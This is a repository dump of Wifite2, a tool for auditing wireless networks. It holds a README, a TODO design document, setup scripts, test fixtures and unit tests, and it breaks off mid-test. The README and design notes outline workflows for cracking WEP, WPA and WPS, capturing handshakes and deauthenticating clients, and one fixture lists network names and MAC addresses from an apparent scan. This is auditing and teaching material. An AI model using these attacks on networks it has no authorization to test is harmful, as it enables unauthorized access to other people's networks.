* `python`: Wifite is compatible with both `python2` and `python3`.
* [`iwconfig`](https://wiki.debian.org/iwconfig): For identifying wireless devices already in Monitor Mode.
* [`ifconfig`](https://en.wikipedia.org/wiki/Ifconfig): For starting/stopping wireless devices.
* [`Aircrack-ng`](http://aircrack-ng.org/) suite, includes:
   * [`airmon-ng`](https://tools.kali.org/wireless-attacks/airmon-ng): For enumerating and enabling Monitor Mode on wireless devices.
   * [`aircrack-ng`](https://tools.kali.org/wireless-attacks/aircrack-ng): For cracking WEP .cap files and WPA handshake captures.
   * [`aireplay-ng`](https://tools.kali.org/wireless-attacks/aireplay-ng): For deauthing access points, replaying capture files, various WEP attacks.
   * [`airodump-ng`](https://tools.kali.org/wireless-attacks/airodump-ng): For target scanning & capture file generation.
   * [`packetforge-ng`](https://tools.kali.org/wireless-attacks/packetforge-ng): For forging capture files.

**Optional, but Recommended:**

* [`tshark`](https://www.wireshark.org/docs/man-pages/tshark.html): For detecting WPS networks and inspecting handshake capture files.
* [`reaver`](https://github.com/t6x/reaver-wps-fork-t6x): For WPS Pixie-Dust & brute-force attacks.
   * Note: Reaver's `wash` tool can be used to detect WPS networks if `tshark` is not found.
* [`bully`](https://github.com/aanarchyy/bully): For WPS Pixie-Dust & brute-force attacks.
   * Alternative to Reaver. Specify `--bully` to use Bully instead of Reaver.
   * Bully is also used to fetch PSK if `reaver` cannot after cracking WPS PIN.
* [`coWPAtty`](https://tools.kali.org/wireless-attacks/cowpatty): For detecting handshake captures.
* [`pyrit`](https://github.com/JPaulMora/Pyrit): For detecting handshake captures.
* [`hashcat`](https://hashcat.net/): For cracking PMKID hashes.
   * [`hcxdumptool`](https://github.com/ZerBea/hcxdumptool): For capturing PMKID hashes.
   * [`hcxpcaptool`](https://github.com/ZerBea/hcxtools): For converting PMKID packet captures into `hashcat`'s format.


Run Wifite
----------
```
git clone https://github.com/derv82/wifite2.git
cd wifite2
sudo ./Wifite.py
```

Install Wifite
--------------
To install onto your computer (so you can just run `wifite` from any terminal), run:

```bash
sudo python setup.py install
```

This will install `wifite` to `/usr/sbin/wifite` which should be in your terminal path.

**Note:** Uninstalling is [not as easy](https://stackoverflow.com/questions/1550226/python-setup-py-uninstall#1550235). The only way to uninstall is to record the files installed by the above command and *remove* those files:

```bash
sudo python setup.py install --record files.txt \
  && cat files.txt | xargs sudo rm \
  && rm -f files.txt
```

Brief Feature List
------------------
* [PMKID hash capture](https://hashcat.net/forum/thread-7717.html) (enabled by-default, force with: `--pmkid`)
* WPS Offline Brute-Force Attack aka "Pixie-Dust". (enabled by-default, force with: `--wps-only --pixie`)
* WPS Online Brute-Force Attack aka "PIN attack". (enabled by-default, force with: `--wps-only --no-pixie`)
* WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture (enabled by-default, force with: `--no-wps`)
* Validates handshakes against `pyrit`, `tshark`, `cowpatty`, and `aircrack-ng` (when available)
* Various WEP attacks (replay, chopchop, fragment, hirte, p0841, caffe-latte)
* Automatically decloaks hidden access points while scanning or attacking.
   * Note: Only works when channel is fixed. Use `-c <channel>`
   * Disable this using `--no-deauths`
* 5Ghz support for some wireless cards (via `-5` switch).
   * Note: Some tools don't play well on 5GHz channels (e.g. `aireplay-ng`)
* Stores cracked passwords and handshakes to the current directory (`--cracked`)
   * Includes information about the cracked access point (Name, BSSID, Date, etc).
* Easy to try to crack handshakes or PMKID hashes against a wordlist (`--crack`)

What's new?
-----------
Comparing this repo to the "old wifite" @ https://github.com/derv82/wifite

* **Less bugs**
   * Cleaner process management. Does not leave processes running in the background (the old `wifite` was bad about this).
   * No longer "one monolithic script". Has working unit tests. Pull requests are less-painful!
* **Speed**
   * Target access points are refreshed every second instead of every 5 seconds.
* **Accuracy**
   * Displays realtime Power level of currently-attacked target.
   * Displays more information during an attack (e.g. % during WEP chopchop attacks, Pixie-Dust step index, etc)
* **Educational**
   * The `--verbose` option (expandable to `-vv` or `-vvv`) shows which commands are executed & the output of those commands.
   * This can help debug why Wifite is not working for you. Or so you can learn how these tools are used.
* More-actively developed.
* Python 3 support.
* Sweet new ASCII banner.

What's gone?
------------
* Some command-line arguments (`--wept`, `--wpst`, and other confusing switches).
   * You can still access some of these obscure options, try `wifite -h -v`

What's not new?
---------------
* (Mostly) Backwards compatible with the original `wifite`'s arguments.
* Same text-based interface everyone knows and loves.

Screenshots
-----------
Cracking WPS PIN using `reaver`'s Pixie-Dust attack, then fetching WPA key using `bully`:
![Pixie-Dust with Reaver to get PIN and Bully to get PSK](https://i.imgur.com/Q5KSDbg.gif)

-------------

Cracking WPA key using PMKID attack:
![PMKID attack](https://i.imgur.com/CR8oOp0.gif)

-------------

Decloaking & cracking a hidden access point (via the WPA Handshake attack):
![Decloaking and Cracking a hidden access point](https://i.imgur.com/F6VPhbm.gif)

-------------

Cracking a weak WEP password (using the WEP Replay attack):
![Cracking a weak WEP password](https://i.imgur.com/jP72rVo.gif)

-------------

Cracking a pre-captured handshake using John The Ripper (via the `--crack` option):
![--crack option](https://i.imgur.com/iHcfCjp.gif)


================================================
FILE: TODO.md
================================================
# TODO

This file is a braindump of ideas to improve Wifite2 (or forward-looking to "Wifite3")

------------------------------------------------------

### Better Dependency Handling
I can rely on `pip` + `requirements.txt` for python libraries, but most of wifite's dependencies are installed programs.

When a dependency is not found, Wifite should walk the user through installing all required dependencies, and maybe the optional dependencies as well.

The dependency-installation walkthrough should provide or auto-execute the install commands (`git clone`, `wget | tar && ./config`, etc).

Since we have a Python script for every dependency (under `wifite/tools/` or `wifite/util/`), we use Python's multiple-inheritance to achieve this.

Requirements:

1. A base *Dependency* class
   * `@abstractmethods` for `exists()`, `name()`, `install()`, `print_install()`
2. Update all dependencies to inherit *Dependency*
   * Override abstract methods
3. Dependency-checker to run at Wifite startup.
   * Check if all required dependencies exists.
   * If required deps are missing, Prompt to install all (optional+required) or just required, or to continue w/o install with warning.
   * If optional deps are missing, suggest `--install` without prompting.
   * Otherwise continue silently.

------------------------------------------------------

### Support Other Distributions (not just Kali x86/64)

Off the top of my head:

* Raspberry Pi (or any Debian distro)
* Raspberry Pi + Kali (?)
* Kali Nethunter
* Various other distributions (backbox, pentoo, blackarch, etc)

Deprecation of "core" programs:

* `iwconfig` is deprecated in favor of `iw`
* `ifconfig` is deprecated in favor of `ip`

Versioning problems:

* Pixiewps output differs depending on version
  * Likewise for reaver & bully
* Reaver and bully args have changed significantly over the years (added/removed/required)
* airodump-ng --write-interval=1 doesn't work on older versions
  * Same with --wps and a few other options :(
* airmon-ng output differs, wifite sees "phy0" instead of the interface name.

Misc problems:

* Some people have problems with multiple wifi cards plugged in
  * Solution: User prompt when no devices are in monitor mode (ask first).
* Some people want wifite to kill network manager, others don't.
  * Solution: User prompt to kill processes
* Some people need --ignore-negative-one on some wifi cards.

------------------------------------------------------

### Command-line Arguments

Wifite is a 'Spray and Pray', 'Big Red Button' script. Wifite should not provide obscure options that only advanced users can understand. Advanced users can simply use Wifite's dependencies directly.

--------------------------------

Every option in Wifite's should either:

1. Significantly affect how Wifite behaves (e.g. `pillage`, `5ghz`, '--no-wps', '--nodeauths')
2. Or narrow down the list of targets (e.g. filtering --wps --wep --channel)
3. Or set some flag required by certain hardware (packets per second)

Any options that don't fall into the above buckets should be removed.

--------------------------------

Currently there are way too many command-line options:

* 8 options to configure a timeout in seconds (wpat, wpadt, pixiet, pixiest, wpst, wept, weprs, weprc)
  * I don't even know what these are or if they work anymore.
* 5 options to configure Thresholds (WPS retry/fail/timeout, WEP pps/ivs)
  * And the WPS options are NOT consistent between Bully & Reaver.
* "Num deauths" etc

For most of these, We can just set a sane default value to avoid the `--help` Wall-of-Text.

--------------------------------

The "Commands" (`cracked`, `crack`, `check`) should probably not start with `--`, e.g. `--crack` should be simply `crack`

------------------------------------------------------

### Native Python Implementations

Some dependencies of Wifite (aircrack suite, tshark, etc) could be replaced with native Python implementations.

*Scapy* allows listening to and inspecting packets, writing pcap files, and other features.

There's ways to change wireless channels, enumerate wireless devices, send Deauth packets, etc. all within Python.

We could still utilize libraries when it's more trouble than it's worth to port to Python, like some of aircrack (chopchop, packetforge-ng).

And some native Python implementations might be cross-platform, which would allow...

------------------------------------------------------

### Non-Linux support (OSX & Windows)

Some of Wifite's dependencies work on other OSes (airodump) but some don't (airmon).

If it's possible to run these programs on Windows or OSX, Wifite should support that.

------------------------------------------------------

### WPS Attacks

Wifite's Pixie-Dust attack status output differs between Reaver & Bully. And the command line switches are... not even used by bully?

Ideally for Pixie-Dust, we'd have:

1. Switch to set bully/reaver timeout
2. Identical counters between bully/reaver (failures, timeouts, lockouts)
  * I don't think users should be able to set failure/timeout thresholds (no switches).
3. Identical statuses between bully/reaver.
  * Errors: "WPSFail", "Timeout", "NoAssoc", etc
  * Statuses: "Waiting for target", "Trying PIN", "Sending M2 message", "Running pixiewps", etc.
  * "Step X/Y" is nice, but not entirely accurate.
  * It's weird when we go from (6/8) to (5/8) without explanation. And the first 4 are usually not displayed.
3. Countdown timer until attack is aborted (e.g. 5min)
4. Countdown timer on "step timeout" (time since last status changed, e.g. 30s)

Order of statuses:
1. Waiting for beacon
2. Associating with target
3. Trying PIN / EAPOL start / identity response / M1,M2 (M3,M4)
4. Running pixiewps
5. Cracked or Failed

And as for PIN cracking.. um.. Not even sure this should be an option in Wifite TBH.
PIN cracking takes days and most APs auto-lock after 3 attempts.
Multi-day (possibly multi-month) attacks aren't a good fit for Wifite.
Users with that kind of dedication can run bully/reaver themselves.

------------------------------------------------------

### Directory structure

**Note: This was mostly done in the great refactoring of Late March 2018**

Too modular in some places, not modular enough in others.

Not "/py":

* **aircrack/**
  * `aircrack.py` <- process
  * `airmon.py` <- process
  * `airodump.py` <- process
  * `aireplay.py` <- process
* **attack/**
  * `decloak.py` <- aireplay, airodump
  * `wps-pin.py` <- reaver, bully
  * `wps-pixie.py` <- reaver, bully
  * `wpa.py` (handshake only)  <- aireplay, airodump
  * `wep.py` (relay, chopchop) <- aireplay, airodump
* `config.py`
* **crack/**
  * `crackwep.py` <- target, result, aireplay, aircrack
  * `crackwpa.py` <- target, handshake, result, aircrack
* **handshake/**
  * `tshark.py` <- process
  * `cowpatty.py` <- process
  * `pyrit.py` <- process
  * `handshake.py` <- tshark, cowpatty, pyrit, aircrack
* `output.py` (color/printing) <- config
* `process.py` <- config
* `scan.py` (airodump output to target) <- config, target, airodump
* **target/**
  * `target.py` (ssid, pcap file) <- airodump, tshark
  * `result.py` (PIN/PSK/KEY)

------------------------------------------------------

### Dependency injection

* Initialize each dependency at startup or when first possible.
* Pass dependencies to modules that require them.
  * Modules that call aircrack expect aircrack.py
  * Modules that print expect output.py
* Unit test using mocked dependencies.

------------------------------------------------------

### Dependencies

**AIRMON**

* Detect interfaces in monitor mode.
* Check if config interface name is found.
* Enable or Disable monitor mode on a device.

**AIRODUMP**
* Run as daemon (background thread)
* Accept flags as input (--ivs, --wps, etc)
* Construct a Target for all found APs
  * Each Target includes list of associated Clients
  * Can parse CSV to find lines with APs and lines with Clients
  * Option to read from 1) Stdout, or 2) a CapFile
* Identify Target's attributes: ESSID, BSSID, AUTH
* Identify cloaked Targets (ESSID=null)
* Return filtered list of Targets based on AUTH, ESSID, BSSID
* XXX: Reading STDOUT might not match what's in the Cap file...
* XXX: But STDOUT gives us WPS and avoids WASH...

**TARGET**
* Constructed via passed-in CSV (airodump-ng --output-format=csv)
  * Needs info on the current AP (1 line) and ALL clients (n lines)
* Keep track of BSSID, ESSID, Channel, AUTH, other attrs
* Construct Clients of target
* Start & return an Airodump Daemon (e.g. WEP needs --ivs flag)

**AIREPLAY**
* Fakeauth
  * (Daemon) Start fakeauth process
  * Detect fakeauth status
  * End fakeauth process
* Deauth
  * Call aireplay-ng to deauth a Client BSSID+ESSID
  * Return status of deauth
* Chopchop & Fragment
  1. (Daemon) Start aireplay-ng --chopchop or --fragment on Target
  2. LOOP
    1. Detect chopchop/fragment status (.xor or EXCEPTION)
    2. If .xor is created:
      * Call packetforge-ng to forge cap
      * Arpreplay on forged cap
    3. If running time > threshold, EXCEPTION
* Arpreplay
  1. (Daemon) Start aireplay-ng to replay given capfile
  2. Detect status of replay (# of packets)
  3. If running time > threshold and/or packet velocity < threshold, EXCEPTION

**AIRCRACK**
* Start aircrack-ng for WEP: Needs pcap file with IVS
* Start aircrack-ng for WPA: Needs pcap file containing Handshake
* Check status of aircrack-ng (`percenage`, `keys-tried`)
* Return cracked key

**CONFIG**
* Key/value stores: 1) defaults and 2) customer-defined
* Reads from command-line arguments (+input validation)
* Keys to filter scanned targets by some attribute
  * Filter by AUTH: --wep, --wpa
  * Filter by WPS: --wps
  * Filter by channel: --channel
  * Filter by bssid: --bssid
  * Filter by essid: --essid
* Keys to specify attacks
  * WEP: arp-replay, chopchop, fragmentation, etc
  * WPA: Just handshake?
  * WPS: pin, pixie-dust
* Keys to specify thresholds (running time, timeouts)
* Key to specify the command to run:
  * SCAN (default), CRACK, INFO

------------------------------------------------------

### Process Workflow

**MAIN**: Starts everything
1. Parse command-line args, override defaults
2. Start appropriate COMMAND (SCAN, ATTACK, CRACK, INFO)

**SCAN**: (Scan + Attack + Result)
1. Find interface, start monitor mode (airmon.py)
2. LOOP
   1. Get list of filtered targets (airodump.py)
     * Option: Read from CSV every second or parse airodump STDOUT
   2. Decloak SSIDs if possible (decloak.py)
   3. Sort targets; Prefer WEP over WPS over WPA(1+ clients) over WPA(noclient)
   4. Print targets to screen (ESSID, Channel, Power, WPS, # of clients)
   5. Print decloaked ESSIDs (if any)
   6. Wait 5 seconds, or until user interrupts
3. Prompt user to select target or range of targets
4. FOR EACH target:
   1. ATTACK target based on CONFIG (WEP/WPA/WPS)
   2. Print attack status (cracked or error)
   3. WPA-only: Start cracking Handshake
   4. If cracked, test credentials by connecting to the router (?).

**ATTACK** (All types)
Returns cracked target information or throws exception

**ATTACK WEP**
0. Expects: Target
1. Start Airodump to capture IVS from the AP (airodump)
2. LOOP
   1. (Daemon) Fakeauth with AP if needed (aireplay, config)
   2. (Daemon?) Perform appropriate WEP attack (aireplay, packetforge)
   3. If airodump IVS > threshold:
      1. (Daemon) If Aircrack daemon is not running, start it. (aircrack)
      2. If successful, add password to Target and return.
   4. If aireplay/others and IVS has not changed in N seconds, restart attack.
   5. If running time > threshold, EXCEPTION

**ATTACK WPA**: Returns cracked Target or Handshake of Target
0. Expects: Target
1. Start Airodump to capture PCAP from the Target AP
2. LOOP
   1. Get list of all associated Clients, add "*BROADCAST*"
   2. (Daemon) Deauth a single client in list.
   3. Print status (time remaining, clients, deauths sent)
   4. Copy PCAP and check for Handshake
   5. If handshake is found, save to ./hs/ and BREAK
   6. If running time > threshold, EXCEPTION
3. (Daemon) If Config has a wordlist, try crack handshake (airodump)
   1. If successful, add PSK to target and return
4. If not cracking or crack is unsuccessful, mark PSK as "Handshake" and return

**ATTACK WPS**
0. Expects: Target
1. For each attack (PIN and/or Pixie-Dust based on CONFIG):
   1. (Daemon) Start Reaver/Bully (PIN/Pixie-Dust)
   2. LOOP
      1. Print Pixie status
      2. If Pixie is successful, add PSK+PIN to Target and return
      3. If Pixie failures > threshold, EXCEPTION
      4. If Pixie is locked out == CONFIG, EXCEPTION
      5. If running time > threshold, EXCEPTION

**CRACK WEP**
0. Expects: String pcap file containing IVS
2. FOR EACH Aircrack option:
   1. (Daemon) Start Aircrack
   2. LOOP
      1. Print Aircrack status
      2. If Aircrack is successful, print result
      3. If unsuccessful, EXCEPTION

**CRACK WPA**
0. Expects: String pcap file containing Handshake (optional: BSSID/ESSID)
1. Select Cracking option (Aircrack, Cowpatty, Pyrit)
2. (Daemon) Start attack
3. LOOP
   1. Print attack status if possible
   2. If successful, print result
   3. If unsuccessful, EXCEPTION

**INFO**
* Print list of handshake files with ESSIDs, Dates, etc.
  * Show options to `--crack` handshakes (or execute those commands directly)
* Print list of cracked Targets (including WEP/WPA/WPS key)

------------------------------------------------------


================================================
FILE: Wifite.py
================================================
#!/usr/bin/env python

# Note: This script runs Wifite from within a cloned git repo.
# The script `bin/wifite` is designed to be run after installing (from /usr/sbin), not from the cwd.

from wifite import __main__
__main__.entry_point()


================================================
FILE: bin/wifite
================================================
#!/usr/bin/env python

from wifite import __main__
__main__.entry_point()


================================================
FILE: runtests.sh
================================================
#!/bin/sh
python2.7 -m unittest discover tests -v


================================================
FILE: setup.cfg
================================================
[install]
install-scripts=/usr/sbin


================================================
FILE: setup.py
================================================
from distutils.core import setup

from wifite.config import Configuration

setup(
    name='wifite',
    version=Configuration.version,
    author='derv82',
    author_email='derv82@gmail.com',
    url='https://github.com/derv82/wifite2',
    packages=[
        'wifite',
        'wifite/attack',
        'wifite/model',
        'wifite/tools',
        'wifite/util',
    ],
    data_files=[
        ('share/dict', ['wordlist-top4800-probable.txt'])
    ],
    entry_points={
        'console_scripts': [
            'wifite = wifite.wifite:entry_point'
        ]
    },
    license='GNU GPLv2',
    scripts=['bin/wifite'],
    description='Wireless Network Auditor for Linux',
    #long_description=open('README.md').read(),
    long_description='''Wireless Network Auditor for Linux.

    Cracks WEP, WPA, and WPS encrypted networks.

    Depends on Aircrack-ng Suite, Tshark (from Wireshark), and various other external tools.''',
    classifiers = [
        "Programming Language :: Python :: 2.7",
        "Programming Language :: Python :: 3"
    ]
)


================================================
FILE: tests/__init__.py
================================================


================================================
FILE: tests/files/airmon.output
================================================
No interfering processes found
PHY	Interface	Driver		Chipset

phy2	wlan0		rtl8187		Realtek Semiconductor Corp. RTL8187
		(mac80211 monitor mode vif enabled for [phy2]wlan0 on [phy2]wlan0mon)
		(mac80211 station mode vif disabled for [phy2]wlan0)




================================================
FILE: tests/files/airodump-weird-ssids.csv
================================================

BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key
AA:BB:CC:DD:EE:FF, 2018-04-06 18:21:23, 2018-04-06 18:21:24, 10,  54, WPA2, CCMP,PSK, -34,        5,        0,   0.  0.  0.  0,  24, Comma\, no trailing space, 
AA:BB:CC:DD:EE:FF, 2018-04-06 18:19:17, 2018-04-06 18:19:19, 10,  54, WPA2, CCMP,PSK, -35,       18,        0,   0.  0.  0.  0,  20, \"Quoted ESSID\, Comma\, no trailing spaces.   \", 
AA:BB:CC:DD:EE:FF, 2018-04-06 18:35:29, 2018-04-06 18:35:30, 10,  54, WPA2, CCMP,PSK, -31,       12,        0,   0.  0.  0.  0,  22, "Comma\, Trailing space ", 
AA:BB:CC:DD:EE:FF, 2018-04-06 18:22:45, 2018-04-06 18:22:46, 10,  54, WPA2, CCMP,PSK, -29,       15,        0,   0.  0.  0.  0,  30, "\"quote\" comma\, trailing space ", 
AA:BB:CC:DD:EE:FF, 2018-04-06 18:50:11, 2018-04-06 18:50:17, 10,  54, WPA2, CCMP,PSK, -20,       43,        0,   0.  0.  0.  0,  19, \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00, 




Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs



================================================
FILE: tests/files/airodump.csv
================================================

BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key
78:24:AF:D5:29:98, 2015-05-30 11:28:44, 2015-05-30 11:28:44,  6,  -1, WPA, ,   , -73,        0,        1,   0.  0.  0.  0,   0, , 
00:13:10:33:A6:56, 2015-05-30 11:28:43, 2015-05-30 11:28:50,  6,  54, WPA, TKIP,PSK, -71,        7,        0,   0.  0.  0.  0,  11, orangefloss, 
D8:50:E6:D7:22:95, 2015-05-30 11:28:43, 2015-05-30 11:28:43, -1,  -1, , ,   , -70,        0,        0,   0.  0.  0.  0,   0, , 
F0:99:BF:0A:B5:B0, 2015-05-30 11:28:45, 2015-05-30 11:28:48,  6,  54, WPA2, CCMP,PSK, -70,        3,        0,   0.  0.  0.  0,  22, Ingham's Wi-Fi Network, 
60:02:92:BC:08:00, 2015-05-30 11:28:43, 2015-05-30 11:28:50,  6,  54, WPA2 WPA, CCMP TKIP,PSK, -68,       17,        0,   0.  0.  0.  0,  13, HOME-89B5-2.4, 
00:25:BC:8B:24:95, 2015-05-30 11:28:44, 2015-05-30 11:28:44,  6,  54, WPA2 WPA, CCMP TKIP,PSK, -68,        1,        0,   0.  0.  0.  0,   8, atlantis, 
60:02:92:BC:08:02, 2015-05-30 11:28:44, 2015-05-30 11:28:49,  6,  54, OPN, ,   , -68,        5,        0,   0.  0.  0.  0,  11, xfinitywifi, 
00:23:69:BA:6D:F0, 2015-05-30 11:28:43, 2015-05-30 11:28:50,  6,  54, WPA2 WPA, CCMP TKIP,PSK, -67,       21,        0,   0.  0.  0.  0,  15, Pine Lake Girl2, 
46:32:C8:5C:0E:3D, 2015-05-30 11:28:44, 2015-05-30 11:28:50,  6,  54, WPA2, CCMP,PSK, -67,        6,        0,   0.  0.  0.  0,  12, \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00, 
44:32:C8:5C:0E:3C, 2015-05-30 11:28:44, 2015-05-30 11:28:48,  6,  54, WPA2 WPA, CCMP TKIP,PSK, -67,        5,        3,   0.  0.  0.  0,   9, HOME-0E3C, 
60:02:92:BC:08:01, 2015-05-30 11:28:44, 2015-05-30 11:28:49,  6,  54, WPA2 WPA, CCMP TKIP,PSK, -69,       14,        0,   0.  0.  0.  0,   0, , 
CC:A4:62:E8:E5:F0, 2015-05-30 11:28:44, 2015-05-30 11:28:50,  6,  54, WPA2, CCMP TKIP,PSK, -67,        8,        0,   0.  0.  0.  0,   9, HOME-E5F2, 
C2:A4:62:E8:E5:F0, 2015-05-30 11:28:44, 2015-05-30 11:28:50,  6,  54, WPA2, CCMP,PSK, -65,       13,        0,   0.  0.  0.  0,   0, , 
C6:A4:62:E8:E5:F0, 2015-05-30 11:28:45, 2015-05-30 11:28:50,  6,  54, OPN, ,   , -65,       14,        0,   0.  0.  0.  0,  11, xfinitywifi, 
F0:99:BF:05:20:64, 2015-05-30 11:28:43, 2015-05-30 11:28:50,  6,  54, WPA2, CCMP,PSK, -62,       30,        0,   0.  0.  0.  0,   4, JJML, 
F2:64:20:05:BF:90, 2015-05-30 11:28:43, 2015-05-30 11:28:50,  6,  54, WPA2, CCMP,PSK, -62,       23,        0,   0.  0.  0.  0,   9, JJMLGuest, 
90:84:0D:DA:A8:87, 2015-05-30 11:28:43, 2015-05-30 11:28:50,  6,  54, WPA2, CCMP,PSK, -62,       33,        5,   0.  0.  0.  0,  10, Rolston123, 
10:0D:7F:8C:C1:FB, 2015-05-30 11:28:43, 2015-05-30 11:28:50,  6,  54, WPA2, CCMP,PSK, -62,       12,        0,   0.  0.  0.  0,  12, The Internet, 
00:00:00:00:00:00, 2015-05-30 11:28:43, 2015-05-30 11:28:50,  6,  54, WEP, WEP,   , -57,      138,        0,   0.  0.  0.  0,   0, , 
00:1D:D5:9B:11:00, 2015-05-30 11:28:43, 2015-05-30 11:28:50,  6,  54, WPA2, CCMP TKIP,PSK, -52,       32,        6,   0.  0.  0.  0,   9, HOME-1102, 
00:24:7B:AB:5C:EE, 2015-05-30 11:28:43, 2015-05-30 11:28:50,  6,  54, WPA2 WPA, CCMP TKIP,PSK, -55,       16,       25,   0.  0.  0.  0,  11, myqwest0445, 
02:1D:D5:9B:11:00, 2015-05-30 11:28:43, 2015-05-30 11:28:50,  6,  54, WPA2, CCMP,PSK, -53,       41,        0,   0.  0.  0.  0,   0, , 
06:1D:D5:9B:11:00, 2015-05-30 11:28:43, 2015-05-30 11:28:50,  6,  54, OPN, ,   , -53,       56,        0,   0.  0.  0.  0,  11, xfinitywifi, 
00:F7:6F:CD:B2:2A, 2015-05-30 11:28:43, 2015-05-30 11:28:50,  6,  54, WPA2, CCMP,PSK, -48,       44,        0,   0.  0.  0.  0,  13, im human 2015, 
30:85:A9:39:D2:18, 2015-05-30 11:28:43, 2015-05-30 11:28:50,  6,  54, WPA2, CCMP,PSK, -21,       44,        4,   0.  0.  0.  0,  32, Uncle Router's Gigabit LAN Party, 
00:0E:58:FA:7C:61, 2015-05-30 11:28:44, 2015-05-30 11:28:49,  6,  -1, WPA, ,   ,  -1,        0,       57,   0.  0.  0.  0,   0, , 
00:0E:58:F8:0B:B5, 2015-05-30 11:28:44, 2015-05-30 11:28:48,  6,  -1, WPA, ,   ,  -1,        0,       59,   0.  0.  0.  0,   0, , 
28:01:00:00:D0:00, 2015-05-30 11:28:44, 2015-05-30 11:28:44,  6,  -1, , ,   ,  -1,        0,        0,   0.  0.  0.  0,   0, , 
00:0E:58:E9:36:B3, 2015-05-30 11:28:44, 2015-05-30 11:28:48,  6,  -1, WPA, ,   ,  -1,        0,        2,   0.  0.  0.  0,   0, , 
05:00:40:00:BB:7C, 2015-05-30 11:28:50, 2015-05-30 11:28:50, -1,  -1, , ,   ,  -1,        0,        0,   0.  0.  0.  0,   0, , 

Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs
3A:01:44:32:C8:5C, 2015-05-30 11:28:44, 2015-05-30 11:28:44, -69,        3, 28:01:00:00:D0:00,
54:35:30:23:62:8E, 2015-05-30 11:28:43, 2015-05-30 11:28:50, -64,        7, 00:1D:D5:9B:11:00,HOME-1102
10:40:F3:93:13:FA, 2015-05-30 11:28:44, 2015-05-30 11:28:48, -52,        4, 00:F7:6F:CD:B2:2A,
00:0E:58:FA:7C:61, 2015-05-30 11:28:45, 2015-05-30 11:28:50, -50,        6, 00:0E:58:E9:36:B3,Sonos_ynFI1HY4cF3gqPuljCuicmFZ66
00:0E:58:E9:36:B3, 2015-05-30 11:28:43, 2015-05-30 11:28:49, -51,      124, 00:0E:58:FA:7C:61,Sonos_ynFI1HY4cF3gqPuljCuicmFZ66
00:0E:58:F8:0B:B5, 2015-05-30 11:28:44, 2015-05-30 11:28:50, -48,        9, 00:0E:58:E9:36:B3,Sonos_ynFI1HY4cF3gqPuljCuicmFZ66
5C:93:A2:0D:3D:63, 2015-05-30 11:28:44, 2015-05-30 11:28:50,  -1,       22, 00:24:7B:AB:5C:EE,



================================================
FILE: tests/test_Airmon.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys
sys.path.insert(0, '..')

from wifite.tools.airmon import Airmon

import unittest

class TestAirmon(unittest.TestCase):
    def test_airmon_start(self):
        # From https://github.com/derv82/wifite2/issues/67
        stdout = '''
PHY    Interface    Driver        Chipset

phy0    wlan0        iwlwifi        Intel Corporation Centrino Ultimate-N 6300 (rev 3e)

        (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
        (mac80211 station mode vif disabled for [phy0]wlan0)
'''
        mon_iface = Airmon._parse_airmon_start(stdout)
        assert mon_iface == 'wlan0mon', 'Expected monitor-mode interface to be "wlan0mon" but got "{}"'.format(mon_iface)



================================================
FILE: tests/test_Airodump.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys
sys.path.insert(0, '..')

from wifite.tools.airodump import Airodump

import unittest

class TestAirodump(unittest.TestCase):
    ''' Test suite for Wifite's interaction with the Airodump tool '''


    def test_airodump_weird_characters(self):
        csv_filename = self.getFile('airodump-weird-ssids.csv')
        targets = Airodump.get_targets_from_csv(csv_filename)

        target = targets[0]
        expected = 'Comma, no trailing space'
        assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)

        target = targets[1]
        expected = '"Quoted ESSID, Comma, no trailing spaces.   "'
        assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)

        target = targets[2]
        expected = 'Comma, Trailing space '
        assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)

        target = targets[3]
        expected = '"quote" comma, trailing space '
        assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)

        # Hidden access point
        target = targets[4]
        assert target.essid_known == False, 'ESSID full of null characters should not be known'
        expected = None
        assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)
        assert target.essid_len == 19, 'ESSID length shold be 19, but got %s' % target.essid_len


    def getFile(self, filename):
        ''' Helper method to parse targets from filename '''
        import os, inspect
        this_file = os.path.abspath(inspect.getsourcefile(self.getFile))
        this_dir = os.path.dirname(this_file)
        return os.path.join(this_dir, 'files', filename)


if __name__ == '__main__':
    unittest.main()


================================================
FILE: tests/test_Handshake.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys
sys.path.insert(0, '..')

from wifite.model.handshake import Handshake
from wifite.util.process import Process

import unittest

class TestHandshake(unittest.TestCase):
    ''' Test suite for Target parsing an generation '''

    def getFile(self, filename):
        ''' Helper method to parse targets from filename '''
        import os, inspect
        this_file = os.path.abspath(inspect.getsourcefile(self.getFile))
        this_dir = os.path.dirname(this_file)
        return os.path.join(this_dir, 'files', filename)

    def testAnalyze(self):
        hs_file = self.getFile('handshake_exists.cap')
        hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')
        try:
            hs.analyze()
        except Exception:
            fail()

    @unittest.skipUnless(Process.exists('tshark'), 'tshark is missing')
    def testHandshakeTshark(self):
        hs_file = self.getFile('handshake_exists.cap')
        hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')
        assert(len(hs.tshark_handshakes()) > 0)

    @unittest.skipUnless(Process.exists('pyrit'), 'pyrit is missing')
    def testHandshakePyrit(self):
        hs_file = self.getFile('handshake_exists.cap')
        hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')
        assert(len(hs.pyrit_handshakes()) > 0)

    @unittest.skipUnless(Process.exists('cowpatty'), 'cowpatty is missing')
    def testHandshakeCowpatty(self):
        hs_file = self.getFile('handshake_exists.cap')
